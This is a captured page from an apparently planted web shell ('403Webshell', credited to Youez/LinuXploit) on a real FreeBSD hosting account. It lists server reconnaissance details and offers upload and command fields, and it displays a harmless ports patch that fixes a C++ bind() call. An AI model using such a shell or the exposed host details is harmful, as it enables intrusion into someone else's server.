403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/xmlrpc-c/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/xmlrpc-c/files/patch-test_cpp_server__abyss.cpp
libc++ doesn't like "using namespace std" in C++11

server_abyss.cpp:88:14: error: assigning to 'int' from incompatible type '__bind<int &, sockaddr *,
      unsigned long>'
        rc = bind(this->fd, (struct sockaddr *)&sockAddr, sizeof(sockAddr));
             ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- test/cpp/server_abyss.cpp.orig	2014-08-29 18:59:00 UTC
+++ test/cpp/server_abyss.cpp
@@ -85,7 +85,7 @@ class boundSocket { (public)
         sockAddr.sin_port   = htons(portNumber);
         sockAddr.sin_addr.s_addr = 0;
 
-        rc = bind(this->fd, (struct sockaddr *)&sockAddr, sizeof(sockAddr));
+        rc = ::bind(this->fd, (struct sockaddr *)&sockAddr, sizeof(sockAddr));
         
         if (rc != 0) {
             closesock(this->fd);

Youez - 2016 - github.com/yon3zu
LinuXploit